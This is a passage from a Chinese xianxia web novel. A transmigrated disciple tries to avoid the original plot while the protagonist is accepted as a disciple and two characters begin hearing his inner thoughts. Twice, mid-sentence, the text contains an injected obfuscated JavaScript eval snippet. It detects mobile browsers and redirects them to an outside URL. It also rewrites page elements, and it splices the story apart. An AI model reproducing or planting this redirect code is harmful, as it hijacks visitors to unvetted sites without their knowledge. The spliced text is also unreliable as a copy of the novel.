谢槿原本有些疑惑,当他翻过信纸看到后面还有一行字时,嘴角抽搐了一下。师父大概是匆匆闭关,留下书信后想起来还有事没交待又在另一面接着写,半点不浪费! 这一面就没那么贴心了。 “三月之约将至,你还欠我一张中品灵符,为师闭关时,黄鸟交给你,饿瘦就找你算账!” 谢槿无语了一分钟,捧起桌上被遗弃的小黄鸟,既有心愿得逞的喜悦,又有无奈的感慨,“大师兄是天选之人,我是鸟选之人,真是同人不同命。好吧,小黄鸟,我会照顾好你的,保证师父出关还能看到你。” 小黄鸟一听就知道不是什么好话,故作凶狠低头啄他手,偏生连一个印子都没弄出来。 谢槿笑了笑,收起了储物戒和传音玉简,将小黄鸟放在肩上往外走去,“走吧,回院子!” 师父闭关,他也要修炼了。 至于中品灵符…… 谢槿走到门前,从储物戒里取出来一张灵符,放在桌上用香炉压着,没等小黄鸟探头看清楚就捞起鸟出门。他才不说自己已经画出来了,前几天不敢见人才没拿出来。 完成了三月之约后,谢槿又有了一个远大的目标—— 从之后到来的剧情里活下去,同时保住师父性命。 他醉了一场,醒来时头脑清晰了一些,想起来原文里反派二师兄出场时,师父就已经在闭关养伤,似乎是因为某次出门游历引发旧伤导致,直到最后二师兄领盒饭的时候,师父为了护住他间接被主角所杀。 那要是师父不出门,岂不是就能避开旧伤复发? 对师父,谢槿只有这一个囫囵的想法,对自己就是坚决不做原文里这个斯文败类,他得好好修炼自己的,跟大师兄抢什么机缘? 他回到院中后,安抚好小树灵和小黄鸟,便开始修炼,偶尔跟两个不同的剑傀过招陪练。 八十个春秋转瞬而过,赤月峰上除了满山红叶外新添了其他色彩,山中又多了几处建筑。 谢槿从起初画不出中品灵符的炼气期,到顺利筑基,终于可以修炼剑道,而后跟紧月诸峰大师兄的步伐结丹,耗去了二十年光阴。结丹后,他去闯过正心阁领悟剑气。 正如闻折柳所言,剑道不是他最好的路,可他也不是完全不能修炼剑道,三十年也修出了一道剑气,远不如九天功的造诣之深。 在修炼之余的空闲时间,他和互相偷师的玄意师叔去过宗门禁地明月湖、和师父去过月诸峰的剑气阁,他将山上灵田慢慢扩大,种了花、酿了酒,把师父喝的冰心玉壶换作了自己酿成的灵酒,到之后很多年,赤月峰都没再问净月峰要过冰心玉壶。 再后来,他也出门历练过几回,闻折柳听进去了他的抗议,没再叫他去对付什么化神期。 这些年来,他也在尽力回想上一世看过的原文剧情,将自己能记起的零碎情节都记下来。 大师兄萧珩是主角攻,但直到他卡在金丹大圆满的瓶颈很多年以后,主角受才会登场,而那个时候,才是正文真正开篇的时候。 开篇时,主角受会在某次招新弟子时拜入揽月宗,成为赤月峰记名弟子,在原文中嫉恨大师兄的欺软怕硬二师兄手下备受折磨。 所以在剧情开始的前十年,谢槿就不再出门历练,也想方设法让师父不出门,避免原文中导致师父旧伤复发的那一场未知劫难。 还好这些年来师父自己创新的逍遥剑心道也慢慢有了方向,留在山中闭关,未叫他费心。 临近剧情开始最后三年,谢槿就不再长期闭关,可叫他惊讶的是,他打算阻止的另一个反派还是在某一日拜入揽月宗——若说谢槿是恶毒反派,那小子就是个白莲花。 原文中,主角受有个大他三岁的表哥,名为纪白涟。 他在文里只做两件事: 第一,他要得到主角攻萧珩; 第二,他要搞死主角受表弟。 三年前,东域南宛城的纪家赠与清月峰一株稀罕灵药,将家中幼子送到揽月宗来修行。这个纪白涟,如今是清月峰明礼真人座下的记名弟子,虽然没能让明礼真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105419|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人将他收为亲传,在揽月宗短短数年却也得到了明礼真人的赏识,结识了主峰的萧珩。 如今整个揽月宗都知道,大师兄和纪白涟是好友。 而长大后的小孩哥萧珩逐渐沉稳,与谢槿传信的频率渐低,的确没有拒绝与纪白涟交好。 在原文剧情里,这个纪白涟也没少跟二师兄有交集,两个阴毒反派凑到一块来,每次一使坏,就能将主角攻受折磨得死去活来。 谢槿没能阻止纪白涟拜入揽月宗,只能自己有意避免跟他碰面,三年来常常借口闭关不出。 实际上闭关的只有师父,他闷在山上可无聊了,又害怕错失剧情,等了一个又一个冬夏,才在这一年初春的时候等来了宗门招新的消息,算算日子,今日也快要结束了。 虚空中划过一道剑光,白衣暗绣新月纹的俊朗少年御剑而来,远远便朝红叶林那边招手。 “二师兄!我师父叫你别忙了!掌门传了话,叫赤月峰这次也去看看有没有合眼的苗子!” 红叶林中,早已退去稚嫩青涩的青年还是一身白底红花的衣裳,颈下每个扣子都一本正经扣紧,端方温文,虽说只有七分清俊,也难掩秀美修长的身段与一身清雅气质。 就算他此刻正在灵田里挽起衣袖拿花锄挖坑,看去也是极雅致斯文的,那串缀着莹润玉珠的红绳悬在腕上,衬得肌肤白皙如雪。 不提那好几次种下去不仅没有发芽、还自己冒出来的莲子的话,谢槿的心情还是不错的。 他捡起那枚纤尘不染的莲子,便起身看向天上。 “多谢师弟,我就去。” 那位师弟摆摆手,剑影洒脱地往山门方向去了,谢槿捏着那粒八十年如一日毫无变化的莲子暗叹一声,只能先收起来准备出门。 “爹!” 边上与他穿着相似衣裳的小娃娃二话不说递上一条手帕,细看胖圆脸颊却有雕琢痕迹。 这些年来,谢槿新学了傀儡术,给小树灵换了好几具身体,这具最像人的已经是第九个版本了,也是小树灵最喜欢的一具新身,刚穿上就高兴得连声喊爹,还满山乱跑。 谢槿根本扭转不过来小树灵喊爹的习惯,就由它去了,他原本还想教小树灵说话的,可惜这么多年过去,小树灵愣是只会喊爹。 谢槿接过手帕,笑着拍了拍小树灵脑门,回头望向山顶宫殿那若隐若现的赤红结界所在。 “我下山一趟,你看好家。” 小树灵嘤嘤应声。 谢槿擦干净手放下衣袖,弹指化出一道毫无攻击力的水色剑气,在日光下折射出满山春色。 “小祖宗,该下山了!” 林中传来清脆稚嫩的小鸟啼鸣,一团同样八十年来毫无变化的嫩黄色毛茸茸随即弹射飞出,落到谢槿肩头,叼来一支白木槿。 “啾啾!” 它在让谢槿收花。 师父闭关,小黄鸟只能托付谢槿,这么多年来一直如此。谢槿失笑一声,伸手揉了揉小鸟脑袋,取出一根寒露草将那支白木槿花换过来,便踏上剑气往山下御剑而去。 不出意外的话,今日就是主角受拜入揽月宗的日子。 谢槿从来没有跟闻折柳和小黄鸟说过这些,没想到掌门会让人传话,今日避免不了要过去一趟,他这性子总难免多思多想一些。 还是要走剧情了吗? 飞剑越过虚空,小黄鸟不知道看到什么,啃完寒露草啾啾叫了两声,叼住谢槿衣襟扯了扯。 谢槿恍然回神,按住这只小祖宗,就见下方外门一处林子中,一个脸色惨白的少年在树下摇摇欲坠,朴素白衣上有几处血色斑点。 “嗯?” 少年衣着不像门内弟子,那近来就只有通过了招新试炼筛选留下的几个人可以在外门走动了。谢槿看着那少年惨白的脸,本该御剑飞过,临近时还是停下来,轻叹一声。 “需要帮忙吗?” 树下的少年警觉抬头,便见到飞剑上一身绯红却过分清雅温文的青年,清冷黑眸一紧。 谢槿耐心等他回应。 须臾后,少年默然摇头。 谢槿轻笑一声,抬手用灵力送去一瓶丹药,“血气颇重,看来外伤不轻,这瓶丹药赠你。” 未等少年回应,谢槿就带着小黄鸟御剑而去。 玉瓶就悬在少年眼前,似乎没有拧紧,有几缕灵气溢出来,也仅仅只是这几分灵气,迎面飘来,霎时消减了少年身上七八的痛苦。 少年迟疑了下,才放下按住肩头的手,任由丹药灵气飘到身上来,肩上衣物早就被渗出的血水打湿,但肉眼可见下,血水止住了。 他伸手接下玉瓶,朝谢槿御剑离开的方向拱手拜谢。 “多谢前辈,若有机会再见,我纪云舟必定报答。” 少年攥紧手中玉瓶,转身赶向外门广场,漆黑眸中有几分不安,“萧珩,多年未见,不知你可还记得当年在南宛城纪家的约定?” 41. 第四十一章 揽月宗每回招新弟子并无什么规律,只看宗门内部缺不缺人,时隔上一回招新弟子已经过去二十年,本次招新弟子除了扩充外门之外,也有让内门九峰添些人的意思。 前两日外门便已经在筹备入门试炼,昨日通过试炼的人有十来个,今日都会召来外门月华殿,门中但凡有意招收弟子的真人都会过来看看。这种小事无需惊动揽月宗的掌门,掌门座下首徒萧珩便可代理。 谢槿到月华殿时,殿门外广场已经聚集了好些人,看起来就是昨日刚刚通过试炼的新弟子。无论他们能不能入内门,只要他们愿意,都会成为揽月宗弟子,在外门修炼。 殿前那些由外门长老带来的人里多是年轻才俊,角落一个独自抱剑的黑衣少年让谢槿多看了一眼。谢槿早已结成金丹,学会望气,一眼就看出那黑衣少年根骨极佳。 他也只是看一眼,就带着肩上的小黄鸟步入殿中。 这次过来的只有寥寥几位长老,首座特意空出来,两侧却都有人落了座,谢槿一进来就见到了首座右侧正与人交谈的俊美青年。 当年小孩哥早就长大成人,敛起傲气,白衣滚着银边暗绣月纹,一身矜贵,光风霁月。 谢槿遥遥拱手,“大师兄。” 他一进来,萧珩的视线当即从身侧人身上移开,笑着回礼,“二师弟,可是许久未见了。” 他身侧那秀丽少年跟着行礼,口中唤得很是亲切,“方才大师兄才提到谢师兄,谢师兄便到了,说来白涟入宗门三年也只见过谢师兄一回,每回拜见,谢师兄总在闭关。” 谢槿心道避的就是你啊。 这少年正是三年前入揽月宗的纪白涟,主角受的表哥。谢槿又不蠢,听得出来这人绵里藏针地跟萧珩抱怨自己,看来这三年几次让小白莲吃了闭门羹,还是惹恼人了。 首座左侧那边随即传来一声轻哼,“赤月峰的忘忧师弟师徒都傲气得很,连本座都不见,哪有心思见你一个记名弟子?今日谢师侄肯来,外门这月华殿可真是蓬荜生辉了。” 阴阳怪气说话的这位冷脸真人是清月峰的明礼真人。当年谢槿刚来揽月宗那会儿,因为被克扣一瓶冰心玉壶,闻折柳上门打了明礼真人一顿,把明礼真人内门执事的位子也打没了,丢了面又丢了位子,从此,明礼真人就成了赤月峰头号死对头。 谢槿早已不是当年初入宗门的炼气期,此刻自然不惯着他,笑眯眯回道:“哦?明礼师伯想见我师父吗?师父闭关已久,但若是明礼师伯有事求见,师父应当不会介意提前出关,去清月峰与师伯叙旧的吧?” 明礼真人果真面露忌惮,没好气道:“谁要见他?让他闭关去!我们揽月宗内门九峰各位峰主,如今除了他还有几个是化神期?” 打又不敢跟闻折柳打,也就只能口头上拿修为压人。 谢槿都觉得好笑。 “师父曾说过,师伯入门已有数百年,这数百年苦修,半年前才总算步入合体期。师侄前段时间闭关修炼,无法及时前往清月峰为师伯庆贺,今日便补回来,恭喜师伯。” 他这拱手一礼,气得明礼真人脸色越发难看,他比闻折柳早入门三百年,这段时间才迈入合体期,闻折柳什么时候突破都比他早! 萧珩见二人要吵起来,熟练地抬手打断二人,“明礼师叔、二师弟,外面的新弟子应当都来齐了,我们还是先让他们进来看看吧。” 掌门首徒的面子还是要给的,明礼真人冷哼一声别开脸去,低骂了一声什么伶牙俐齿。 谢槿笑吟吟点头。 方才来赤月峰给谢槿传话的那个俊朗少年这才在上面朝他招手,拍拍纪白涟身后的位子。 “二师兄快来!给你占了位子!” 谢槿这才发现,纪白涟方才一直站着跟萧珩说话,而他身后那位子上空着也没人坐,这会儿被那少年指明,纪白涟脸上笑容一僵,同萧珩说了一声便回到明礼真人身边。 再看上面朝自己呲着大牙笑的少年,谢槿不由暗笑一声,飞身上去,“多谢墨旬师弟。” 这少年是三十年前宗门大比从外门脱颖而出的弟子,早早拜入新月峰玉书真人座下,成为九峰真传弟子。虽然没有正式排序,但宗门内早有了新的揽月宗十子的排位,所以墨旬偶尔也会被师兄师姐喊五师弟。 而那边纪白涟刚才回到明礼真人身边,明礼真人身侧坐着的冷脸少年就站起身,大步越过纪白涟往这边走来,“我去找二师兄玩!” 明礼真人黑了脸,“戚凡!” 少年理都没理他,长腿走得极快,到谢槿身边才露出个笑容来,“二师兄总算是出关了!” 谢槿轻咳一声,一边笑着应声一边看明礼真人。 “戚师弟都筑基后期了?” 不错,他修炼八十年的人脉,把赤月峰死对头的徒弟给拉拢过来了!当然也是因为戚凡自打二十年前入门后,本就跟明礼真人这个亲师父三天一小吵五天一大吵,师徒性格不合,可偏偏隐月峰那位春秋玄功一脉大师兄虚谷真人很喜欢这个师侄,明礼真人只能忍着自己这个不孝徒弟。 戚凡正有些得意,墨旬就大笑着揽上他肩头,“二师兄出关好些天了,是你不出门不知道罢了。不过你也没亏,这趟闭关突破到筑基中期,不错不错,师兄我看好你啊!” 二人同出春秋玄功一脉,入内门时间差不远,往日关系就好,戚凡一脸嫌弃地抖掉了肩上的手,眼巴巴看着谢槿,“二师兄呢?虚谷师伯前几天才说酒要喝没了,想二师兄了,我说二师兄忙着冲击元婴期呢。” 若非宗门大事,九峰师兄弟少有聚到一块的时候,萧珩这个九峰大师兄自然也在一旁听着。 谢槿咳了两声,只管应前话。 “回头我就给师伯送酒。” 他给墨旬使了个眼色,墨旬立马拉着戚凡过去,戚凡话还没说完,不情不愿地坐下来。 “我也想要酒……” “二师兄说了回头会送……”墨旬压着戚凡,给他使了个眼色,看向一旁的大师兄萧珩。 戚凡反应过来什么,闭上嘴装出往日冷酷的表情。 萧珩神色变得有些意兴阑珊,转身回到座上坐下。 谢槿看在眼里,将肩上假扮装饰的小黄鸟捞进掌中,暗松口气。不提元婴期,只因为大师兄萧珩已经在金丹巅峰瓶颈三十年了。 原本及冠便结成金丹,有望在五十年内迈入元婴期的主角攻,这些年实在是有些憋屈了。 戚凡自知闯祸,不敢再说话,只跟墨旬使眼色。墨旬无奈耸肩,眼神又递到了谢槿这里。 谢槿更无奈,眼神警告他们在大师兄眼皮下老实些。 还好,那些新弟子很快便被带进来,进殿时有个白衣身影匆匆跑进来,紧跟了几步才追上几人。谢槿掌中的小黄鸟跟着探出脑袋,在外头它是不怎么叫的,它的异常谢槿自然能察觉到,也知道它在看谁。 后面跑进来那个白衣少年正是方才他赠丹药那个。 谢槿拢住掌中的小黄鸟,让它不要闹出动静来。 接下来萧珩的目光所指,自然就是主角受。谢槿悄悄打量着萧珩,见这些新弟子入殿后他神色果真稍稍缓和,不知道是在看谁。 这些新弟子进来殿中后多是拘谨与好奇,避免他们无意中得罪殿中的哪位真人,外门长老很快站出来,让人取来测验灵根的法器,吩咐这些新弟子轮流上前测灵根。 这种环节谢槿代表赤月峰看过不止一回,虽然他从未带过任何新弟子回赤月峰,赤月峰至今还是只有他和师父,身旁两个师弟却嘀嘀咕咕地打量这些弟子的灵根天赋。 这一届总共只有十二个新弟子,很快就测了大半。 最后剩下两名少年,一个抱着剑一身黑衣,一个一身朴素白衣,远远站在两头。那黑衣少年冷冷看着白衣少年,白衣少年却避开了视线,平复气息悄悄抬头,一双清冷黑眸在萧珩身上顿了顿便望向右下的几个内门弟子,很快又转回到谢槿身上。 是方才那位赠药的前辈! 谢槿察觉到他在看自己,便回了一个礼貌的微笑。 没想到萧珩冷不丁出声,“二师弟认得那个少年?” 他声音不大,但墨旬和戚凡二人的注意力还是被吸引过来了,谢槿揉着小黄鸟笑着摇头。 “不认识,看来他似乎是这届新弟子中最年幼的。” 墨旬笑道:“二师兄可别看那少年个子小小的,他可是这次入门试炼中唯二闯过第三关天梯幻境的人,就是不知道他天资如何。” 戚凡问:“第三关?往年只闯过前面两关就足够入外门了,那一关所谓天梯上遍布凶险幻象,对外门的筑基期弟子也算得上难度不低,这少年只有练气八层的修为吧?” 这些来揽月宗拜师的,大多是炼气期乃至筑基的修士,这白衣少年的修为算不上太高。 谢槿笑问:“那另一个呢?” 墨旬抬了抬下巴,看向那个率先走向测灵根法器的黑衣少年,“就是那个,练气十层。” 那黑衣少年将手掌放到玉碑上注入灵力,很快玉碑上便显现出了他的修为以及根基灵脉。 戚凡挑眉,“变异雷灵根?” 墨旬评价道:“一般来说单一五行灵根都算资质上乘,变异灵根不少见,单一雷灵根倒是稀罕,小小年纪就有练气十层,想来悟性也不会差,二师兄可要带回赤月峰?” 谢槿看向明礼真人,“明礼师伯似乎也有意呢。” 明礼真人也正打量着下面那个那黑衣少年,纪白涟正跟他低声说了什么,他也满意点头。 戚凡撇嘴,“别管,你想要就直接跟大师兄说!” 身为九峰大师兄,萧珩往日对这些师弟都很不错,为了树立威望,也不介意做个顺水人情,闻言便问谢槿:“二师弟意下如何?” 谢槿看最后那个白衣少年还没上前,只弯唇笑笑。 “再看看吧。” 黑衣少年退开后只剩最后那个白衣少年,他走向玉碑时似乎有些紧张,慢慢将手放上去。 很快玉碑法器便检测出了他的灵根,却叫以为谢槿属意这少年的墨旬和戚凡都有些失望。 “只是金火木三灵根。” 那白衣少年看到后抿了抿唇,便转身退到了一侧。 明礼真人这会儿才出声,“萧师侄,你也知道本座这清月峰的确是清冷了些,这次来是想挑几个好苗子回去,你若没有想要的,那变异雷灵根的少年就归我清月峰了。” 他说话时还睨了戚凡一眼,想让这个不孝徒弟意识到危机感,戚凡只翻了个白眼,“您就是把纪白涟收为亲传我也无所谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105420|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大不了我收拾包袱去隐月峰拜大师伯为师!” 明礼真人气一下就不顺了,纪白涟也是一愣,反应过来颇为惶恐地垂头劝道:“戚师兄误会了,白涟能入揽月宗修炼已经是三生有幸了,无心与任何人争,师父他绝对没有将戚师兄你赶出清月峰的意思啊!” 明礼真人听完这话火更大了,“别管他!他就这臭德行,当初本座就不该收他做徒弟!” 戚凡还想说什么,被墨旬拉住,才闷声坐了回去。 谢槿暗叹一声,无声看向正安慰明礼真人的纪白涟。 这小白莲真会劝架,入门三年,让明礼真人和戚凡原本私下的三天小吵五天大吵变成了天天吵,现在大庭广众下都要吵起来了。 萧珩也是个人精,对这对师徒的争执绝不掺和,一笑置之,“明礼师叔看上那少年,我自然不会抢,不过我今日也想收个弟子。” 墨旬眼睛都亮起来了,凑到谢槿身边来小声说:“大师兄要收徒?虽然大师兄结丹很久可以收徒了,可之前没听说过这事啊,掌门首徒收弟子不是小事,二师兄怎么看?” 戚凡也不气了,好奇地凑过来竖起耳朵想听八卦。 谢槿只管坐着看。 萧珩没等明礼真人回话便起身飞下殿中,看也没看那黑衣少年,径自走到最后只有三灵根的少年面前,眸中含笑,目的明确。 “我乃揽月宗掌门座下首徒,你可愿做我的弟子?” 他说话间,抬手扶起正仓惶向他躬身行礼的少年。 这话一出,殿中众人皆惊。 墨旬也惊得瞪大了眼睛,“啊?大师兄放着那个变异雷灵根不要,却看中了这个小子吗?” 谢槿闻言勾唇一笑,毫不意外。 这有什么好奇怪的? 这可是主角受,接下来千万年里大师兄的唯一执念。 萧珩身为掌门座下首席大弟子,自小便是在无数人的视线中成长起来的,他对周围这些注视毫不在意,双目直直望着眼前瘦小的白衣少年。可还没等到少年回应,他耳边冷不丁的钻进来滋啦滋啦的电流声,紧跟着,是小声嘀咕着什么的声音—— 【这少年纪云舟……】 【狗血虐文的主角受……】 萧珩一愣,都忘了松开少年,也就是纪云舟的手。纪云舟也没有提醒,他也愣住了,清冷黑眸里满是惊愕,因为他耳朵里多了一个奇怪的声音,在念叨他的名字,还有什么主角受的怪话,他根本就听不懂。 滋啦滋啦的电流声中,那嗓音清晰了些,听去有几分温润,【别看大师兄现在说着要收纪云舟当弟子,现在在场的所有人肯定想不到,这个瘦瘦小小还没有长开的少年,日后将会成为大师兄的一生挚爱。】 萧珩心下大惊,触电般松开纪云舟的手,剑眉一沉放出神识往后看,是谁,在坏他名声! 纪云舟也是一惊,做贼似的缩回自己的手,眼神仓惶又无措,悄悄打量起周边的众人。 殿中安安静静的,谁也没有说话,那个声音…… 二人正疑惑间,那个声音接下来便很清楚地在他们耳边响起,【他们一定不知道,今日这开篇名场面一幕,并非大师兄和纪云舟的初见,而是大师兄和纪云舟的重逢。】 他怎么会知道? 二人眼里都闪过一丝震惊。 【十年前,大师兄生母过世,大师兄为了断红尘,悄悄回人间大郦一趟,未料返回宗门途中遭遇算计,虽然拼尽全力脱困,却也伤了眼睛,短时间内失明且不能动用灵力。说巧不巧,他无力赶回宗门,却倒在纪云舟院中,被五岁的纪云舟所救。】 他怎么会知道! 【我怎么知道?我可是看过原文的。当初大师兄与纪云舟还有一个约定,他将随身玉佩赠与纪云舟,让人日后来揽月宗寻他,他必定还人一份大机缘。如今纪云舟来,不就是为你萧珩的承诺而来的吗?】 萧珩沉默了太久,脸色又显然不对劲,旁边的外门长老便小心出声询问:“萧大师兄?” 萧珩与纪云舟霎时被惊醒,不过二人都还未察觉到对方的异常,他们也都听出了那个声音源于何人。萧珩和纪云舟不约而同地看向上面捧着一盏灵茶端坐的红衣青年。 今日来的是内门长老与弟子,外门奉上的茶也不差,谢槿抿了一口,微微阖眼品味茶香。 【极品三月春?我就说外门还有好茶,林老还说好东西都给了内门,可我们平日也喝不到这么好的灵茶啊,林老还是太偏心了。】 一看这殿中就只有谢槿还有心情喝茶,必定是谢槿在说话无疑了!萧珩和纪云舟都很迷茫,也有些羞愤:二师弟/这位师兄为何突然给我传音?还说这些奇奇怪怪的话…… 谢槿修炼多年,对旁人窥视极为敏感,很快就察觉到二人的视线,纪云舟也罢,他对这少年不熟,可对上萧珩这无奈又羞怒的眼神,他实在是迷茫,无辜地眨了眨眼。 【看我干什么?看小白莲啊!你们这对师徒成不了,只能做师兄弟,小白莲要出招了!】 听到师徒成不了,萧珩就警觉起来了。二师弟突然跟他传音一定有他的道理,难道二师弟发现有人要拆他和纪云舟这对师徒? 会是这个小白莲吗? 萧珩用眼神催促谢槿,二师弟快说,小白莲是谁!